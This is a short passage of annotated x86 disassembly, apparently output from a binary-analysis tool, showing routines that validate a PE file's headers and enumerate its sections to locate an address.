mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x413756
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x413752
xor edx, edx
mov ecx, 0x10b
cmp word [eax + 0x18], cx
sete dl
mov eax, edx
pop ebp
ret

Function at 0x413780
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
push edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x4137bd
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x4137b5
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x4137bf
inc edx
add eax, 0x28
cmp edx, esi
jb 0x4137a5
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret